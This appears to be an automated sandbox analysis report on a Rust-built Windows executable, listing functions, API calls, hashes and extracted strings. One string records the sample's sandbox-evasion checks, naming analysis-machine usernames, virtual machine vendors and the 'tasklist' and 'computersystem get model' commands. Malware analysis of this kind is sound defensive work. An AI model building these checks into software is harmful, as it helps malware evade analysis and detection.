Opcode ID: 156b8d29b021a0b699b54c0dc488f79796eb3c5d946079082ee26368548ee791
Instruction ID: 97aa3559aff75915d0179959bc38f0e2853e6deb6df882a49d295fdcb9809219
Opcode Fuzzy Hash: 156b8d29b021a0b699b54c0dc488f79796eb3c5d946079082ee26368548ee791
Instruction Fuzzy Hash: 22F0F422F0917691F9607E6B2E44534D1622F26BF0DA84731FE3C877E8BC28DC824210

Function 00007FF7B901DA70 Relevance: 1.6, APIs: 1, Instructions: 75
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformationForYear.KERNELBASE ref: 00007FF7B901DAA4

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: InformationTimeYearZone
String ID:
API String ID: 2325421820-0
Opcode ID: 00a454c135f09f1f250e6a997138a96e1f69e719d8c17f8820de649a108718ef
Instruction ID: 83e565ca548d10dfd16f5793054f28230c7735f4d00d02c9d5d01cd91b9a33b3
Opcode Fuzzy Hash: 00a454c135f09f1f250e6a997138a96e1f69e719d8c17f8820de649a108718ef
Instruction Fuzzy Hash: 56313232608692C6E725DF19E0847AAF7B1E7D9354F404035EB9A47B59EB7CE085CF10

Function 00007FF7B9018B20 Relevance: 1.5, Strings: 1, Instructions: 209COMMON

Download Yara Rule

Strings

/mtasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel, xrefs: 00007FF7B9018B4D, 00007FF7B9018E1A

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID:
String ID: /mtasklistsandboxusertestadminrootmalwareanalysisdefaultabbeyAdministratorAlBrunobrunoFredfredGeorgegeorgeharry johnsonLisaPaul JonesworkvtcdekkerUSERNAMEVBOXVMWAREQEMUXENHYPER-VPARALLELSKVMcomputersystemgetmodel
API String ID: 0-984818510
Opcode ID: 97c764e578281867c64b0fca19dff450a4063e0231973d55c4d4325fceece58d
Instruction ID: 4e6b2bd2af0c165d64281b9f6d9f93a0c657b0904c3c9cc4157bea2cc206f87d
Opcode Fuzzy Hash: 97c764e578281867c64b0fca19dff450a4063e0231973d55c4d4325fceece58d
Instruction Fuzzy Hash: 9D918022A08B62C5E710AF29D8403ACB7B0FB5AB98F554535EF6C17789DF38D281C360

Function 00007FF7B902A610 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 203
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32 ref: 00007FF7B902A693
CloseHandle.KERNEL32 ref: 00007FF7B902A77E
WaitForSingleObject.KERNEL32 ref: 00007FF7B902A7D2
GetLastError.KERNEL32 ref: 00007FF7B902A7DC
GetExitCodeProcess.KERNELBASE ref: 00007FF7B902A835
CloseHandle.KERNEL32 ref: 00007FF7B902A873
CloseHandle.KERNEL32 ref: 00007FF7B902A87A
CloseHandle.KERNEL32(?,?,?,?,?), ref: 00007FF7B902A973

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF7B902A732, 00007FF7B902A8F1, 00007FF7B902A925

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: CloseHandle$CodeErrorExitLastObjectProcessSingleWait
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 17306042-2333694755
Opcode ID: 98050de64407eec83e84d274591eb1f76851ba59d11f64f5e6645ddd7a7c7f19
Instruction ID: 2db730b11b43736a6d2a8f1d0437612f05866c3b10069a8452be78bad8b6f4a2
Opcode Fuzzy Hash: 98050de64407eec83e84d274591eb1f76851ba59d11f64f5e6645ddd7a7c7f19
Instruction Fuzzy Hash: CFA14E32A04B8299E7609F39E8403E973B0FB5A798F958125EF6D07B99DF38D185C350

Function 00007FF7B9048BE4 Relevance: 12.1, APIs: 8, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7B9048E48: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7B9048E5C

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7B9048C0D
__scrt_release_startup_lock.LIBCMT ref: 00007FF7B9048C7B
_register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7B9048CC9
_get_initial_narrow_environment.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7B9048CCE
__p___argv.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7B9048CD6
__p___argc.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7B9048CDE
_cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7B9048D00
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7B9048D5A

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: __p___argc__p___argv__scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock_cexit_exit_get_initial_narrow_environment_register_thread_local_exe_atexit_callback
String ID:
API String ID: 1804101941-0
Opcode ID: eee810bb95535470bffe68d2ba9a8a383abc4ee3ff95bb7e2462f86346f6db18
Instruction ID: dea37d29d0542fcfe3efdfdc4c4cd612591d9041f078524b778c40b7303f0144
Opcode Fuzzy Hash: eee810bb95535470bffe68d2ba9a8a383abc4ee3ff95bb7e2462f86346f6db18
Instruction Fuzzy Hash: BF311B21A0D14382EA54BF2D94553B9A3B1AFA7784FC44835EB6D473EFDE2CE8448620

Function 00007FF7B902E610 Relevance: 9.2, APIs: 6, Instructions: 184
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF7B902E78F
GetLastError.KERNEL32 ref: 00007FF7B902E7AA
SetFileInformationByHandle.KERNEL32 ref: 00007FF7B902E7D1
GetLastError.KERNEL32 ref: 00007FF7B902E80F
GetLastError.KERNEL32 ref: 00007FF7B902E85A
CloseHandle.KERNEL32 ref: 00007FF7B902E86E

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: ErrorLast$FileHandle$CloseCreateInformation
String ID:
API String ID: 1617036312-0
Opcode ID: 0ddb327ce91df9d84e5046fd063802ff5ba92c5831474f6817db1fb96f3d3a89
Instruction ID: 6ef4f285d6c8a37570db7eda84510f3e2a750906e17bb684523ce09a945198cb
Opcode Fuzzy Hash: 0ddb327ce91df9d84e5046fd063802ff5ba92c5831474f6817db1fb96f3d3a89
Instruction Fuzzy Hash: B371B351E4825346FB656E2994083F9BAB1AF36B98F944131CF6D17BCDDE3CD8858320

Function 00007FF7B9024CA0 Relevance: 9.1, APIs: 6, Instructions: 81
timesleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWaitableTimerExW.KERNEL32 ref: 00007FF7B9024CD1
SetWaitableTimer.KERNELBASE(?,?,?,?,?,?,?,?,00007FF7B901502E), ref: 00007FF7B9024D25
WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,00007FF7B901502E), ref: 00007FF7B9024D37
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00007FF7B901502E), ref: 00007FF7B9024D43
CloseHandle.KERNEL32 ref: 00007FF7B9024D54
Sleep.KERNEL32 ref: 00007FF7B9024D9E

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: CloseHandleTimerWaitable$CreateObjectSingleSleepWait
String ID:
API String ID: 2261246915-0
Opcode ID: abd99af6bd88042d1dd5512cba818c5c5812610d3b38a9f3d41f1412972b137f
Instruction ID: 376d799660e9aaf7a87c172b1218cfc2cc6b4155b41863ca5cbe5cb876da8aee
Opcode Fuzzy Hash: abd99af6bd88042d1dd5512cba818c5c5812610d3b38a9f3d41f1412972b137f
Instruction Fuzzy Hash: BB21D622F0571302FB58AF396915778B2769FA77A4F848234DE3E42BE8DE3CE4414620

Function 00007FF7B90246C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AddVectoredExceptionHandler.KERNEL32 ref: 00007FF7B90246E9
SetThreadStackGuarantee.KERNELBASE ref: 00007FF7B90246FA
GetCurrentThread.KERNEL32 ref: 00007FF7B9024700
SetThreadDescription.KERNELBASE ref: 00007FF7B9024717

Strings

main, xrefs: 00007FF7B902470D

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: Thread$CurrentDescriptionExceptionGuaranteeHandlerStackVectored
String ID: main
API String ID: 3663057573-3207122276
Opcode ID: aff96ae2daea4c37a3667f91690bbb9d7f047d6ef6fcb56457d51776b9872f87
Instruction ID: 2635c0765a31ef78c38c18bc365ddb36d1f8f1a3ff2d3aaa5f1305035ae79225
Opcode Fuzzy Hash: aff96ae2daea4c37a3667f91690bbb9d7f047d6ef6fcb56457d51776b9872f87
Instruction Fuzzy Hash: 88110D21B04B1699F710AF68E8483EC7375BB56768FC04231CE6D567A8DF28E549C350

Function 00007FF7B901CC80 Relevance: 3.1, APIs: 2, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExW.KERNELBASE ref: 00007FF7B901CCAC
GetComputerNameExW.KERNELBASE ref: 00007FF7B901CD1C

Part of subcall function 00007FF7B901CE00: GetLastError.KERNEL32 ref: 00007FF7B901CE04

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: ComputerName$ErrorLast
String ID:
API String ID: 2051095488-0
Opcode ID: 444db1469ea464d383774e53951557fa80ec6c9f18d07cd741958a65af9121ed
Instruction ID: d601ad2e69a316fd1dbf1a48cbcf65ed488cae11da3c5804a0110cd2f6469f05
Opcode Fuzzy Hash: 444db1469ea464d383774e53951557fa80ec6c9f18d07cd741958a65af9121ed
Instruction Fuzzy Hash: 8E41E522F04A22C9F710AF6A98413FDA771BF66758F848134EF6D16A89EF38D441C360

Function 00007FF7B9036A40 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7B90340C9), ref: 00007FF7B9036AC8

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: cf50fb6609d1fef71a3daa6ac54220e2b16af973c411700e32f6df58c2279079
Instruction ID: bd10e328d9797f3f45d12bcbdcc5a2875f679fa4535954093758da625204fbb3
Opcode Fuzzy Hash: cf50fb6609d1fef71a3daa6ac54220e2b16af973c411700e32f6df58c2279079
Instruction Fuzzy Hash: 49219233B19A1298EB119FA5E9411ADB374BB257A8F944531DF6D13B8CDF38D492C310

Function 00007FF7B9036C2E Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B902FDF0: GetCurrentProcessId.KERNEL32 ref: 00007FF7B902FE60
Part of subcall function 00007FF7B902FDF0: ProcessPrng.BCRYPTPRIMITIVES ref: 00007FF7B902FE8C

CloseHandle.KERNEL32 ref: 00007FF7B9036C63

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: Process$CloseCurrentHandlePrng
String ID:
API String ID: 842889843-0
Opcode ID: 54414ade01f3eaa8aa42d5ffd990672667fa5a2631ec548c5acdd5774dc2c67e
Instruction ID: 05458e0c1d74b8714474569a20d03e418cd22198a5a962eaa9687514ffe5d7ca
Opcode Fuzzy Hash: 54414ade01f3eaa8aa42d5ffd990672667fa5a2631ec548c5acdd5774dc2c67e
Instruction Fuzzy Hash: DDF03C32A08A4291EA116F29D6403A9A2A2E755BE4F948031CB2D47798DE3CE4C18310

Non-executed Functions

Function 00007FF7B903AA60 Relevance: 44.1, APIs: 17, Strings: 8, Instructions: 333libraryloadersynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObjectEx.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF7B903AAAB
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF7B903AAC4
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF7B903AAFD
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF7B903AB37
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF7B903AB6F
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF7B903AB88
GetProcAddress.KERNEL32 ref: 00007FF7B903AC12
GetCurrentProcess.KERNEL32 ref: 00007FF7B903AC2B
lstrlenW.KERNEL32 ref: 00007FF7B903AC49
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF7B903AC81
CreateMutexA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF7B903AD15
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF7B903AD3B
GetProcAddress.KERNEL32 ref: 00007FF7B903ADE4
GetCurrentProcess.KERNEL32 ref: 00007FF7B903ADFD
GetProcAddress.KERNEL32 ref: 00007FF7B903AE5F
GetCurrentProcess.KERNEL32 ref: 00007FF7B903AE74
ReleaseMutex.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF7B903AEE7

Strings

SymInitializeW, xrefs: 00007FF7B903AB68
SymSetSearchPathW, xrefs: 00007FF7B903AE58
dbghelp.dll, xrefs: 00007FF7B903AABD
SymGetSearchPathW, xrefs: 00007FF7B903AC0B
EnumerateLoadedModulesW64, xrefs: 00007FF7B903ADDD
assertion failed: len >= 0, xrefs: 00007FF7B903AF4E
SymSetOptions, xrefs: 00007FF7B903AB30
SymGetOptions, xrefs: 00007FF7B903AAF3

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: AddressProc$CurrentProcess$Mutex$CloseCreateHandleLibraryLoadObjectReleaseSingleWaitlstrlen
String ID: EnumerateLoadedModulesW64$SymGetOptions$SymGetSearchPathW$SymInitializeW$SymSetOptions$SymSetSearchPathW$assertion failed: len >= 0$dbghelp.dll
API String ID: 422451348-310313858
Opcode ID: 9ec890d9eb561b8ec03aae37693fd9b8a1d82bb0876e46e927a256a399530a50
Instruction ID: 94edbf292a7827fd94a11487afd9c4de0334a8da80ea835e132d4f54a8b545da
Opcode Fuzzy Hash: 9ec890d9eb561b8ec03aae37693fd9b8a1d82bb0876e46e927a256a399530a50
Instruction Fuzzy Hash: 3BE1BF21B08A5395FB10AF69A9443B9B3B0BF6AB58F854534DE2D47798EF3CE0449320

Function 00007FF7B9049174 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7B9049190
RtlCaptureContext.KERNEL32 ref: 00007FF7B90491BD
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7B90491D7
RtlVirtualUnwind.KERNEL32 ref: 00007FF7B9049218
IsDebuggerPresent.KERNEL32 ref: 00007FF7B904926C
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7B9049289
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7B9049294

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: ed964a79ad5c71b51470b13f33e1ceaf77e9862fef75c8a2799fdefc0e4b490c
Instruction ID: 1ff17db140bcdd8ccbd95315aee026c6c0d0041d7548ded47e7854f96e28a8fa
Opcode Fuzzy Hash: ed964a79ad5c71b51470b13f33e1ceaf77e9862fef75c8a2799fdefc0e4b490c
Instruction Fuzzy Hash: A5318172609B829AEB609F64E8843EDB374FB96744F84403ADB5D47B99DF38C548C720

Function 00007FF7B902F330 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 220windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7B902F38C
FormatMessageW.KERNEL32 ref: 00007FF7B902F3D4
GetLastError.KERNEL32 ref: 00007FF7B902F475

Strings

assertion failed: self.is_char_boundary(new_len)/rustc/eeb90cda1969383f56a2637cbd3037bdf598841c\library\alloc\src\string.rs, xrefs: 00007FF7B902F66C
NTDLL.DLL, xrefs: 00007FF7B902F385

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: ErrorFormatHandleLastMessageModule
String ID: NTDLL.DLL$assertion failed: self.is_char_boundary(new_len)/rustc/eeb90cda1969383f56a2637cbd3037bdf598841c\library\alloc\src\string.rs
API String ID: 1273946083-2010291737
Opcode ID: 96be6f57b779d662e4bcd2e87a3bd71604cd955901bcb329d8d31bec27ed1a52
Instruction ID: bb02c2ceb349475ece88d6dfaed5df7df74ef32b00793d0ae3afd0c6dd073ae8
Opcode Fuzzy Hash: 96be6f57b779d662e4bcd2e87a3bd71604cd955901bcb329d8d31bec27ed1a52
Instruction Fuzzy Hash: 4CA1A172A09BC394E731AF28D8047F8B6B4FB26794FA04135CB6D46B98DF78D6859310

Function 00007FF7B9037520 Relevance: 7.8, APIs: 5, Instructions: 271threadCOMMON

Download Yara Rule

APIs

InitializeProcThreadAttributeList.KERNEL32 ref: 00007FF7B9037584

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: AttributeInitializeListProcThread
String ID:
API String ID: 1263136677-0
Opcode ID: 25395b67cd61b75cc73e3c4270649077a9519a336f1647721255863f1f85be5d
Instruction ID: 9b777c5aa676827d6de26b6a203bae5101834867890b5f5a4b849d4485a24b99
Opcode Fuzzy Hash: 25395b67cd61b75cc73e3c4270649077a9519a336f1647721255863f1f85be5d
Instruction Fuzzy Hash: 85A1B662B1C65780FA15AF1A99147B9A3B1BF5ABA4F948631DF7D037A8DE3CD041C320

Function 00007FF7B9041140 Relevance: 4.6, Strings: 3, Instructions: 821COMMON

Download Yara Rule

Strings

`fmt::Error`s should be impossible without a `fmt::Formatter`, xrefs: 00007FF7B9041D43
.llvm./rust/deps\rustc-demangle-0.1.24\src/lib.rs, xrefs: 00007FF7B904116E
__ZN, xrefs: 00007FF7B9041414

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID:
String ID: .llvm./rust/deps\rustc-demangle-0.1.24\src/lib.rs$__ZN$`fmt::Error`s should be impossible without a `fmt::Formatter`
API String ID: 0-1033176386
Opcode ID: 7630a6dac504c9da00261c8a14eb9cbe2da4fb8b3279a6e02788394730d31ae3
Instruction ID: 5a3a9b7f81ca4ddcfc9d3ef82c3648f89bb1ca17c1bd6ec00b9a1fbadba650b5
Opcode Fuzzy Hash: 7630a6dac504c9da00261c8a14eb9cbe2da4fb8b3279a6e02788394730d31ae3
Instruction Fuzzy Hash: 6D620562E1C69345E795AE1894062BDABB2AB37794FC48231DF7E077C8DB38D944D320

Function 00007FF7B904EF00 Relevance: 4.1, Strings: 3, Instructions: 306COMMON

Download Yara Rule

Strings

GenuineI, xrefs: 00007FF7B904F2EA
Authenti, xrefs: 00007FF7B904F298
HygonGen, xrefs: 00007FF7B904F2B7

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

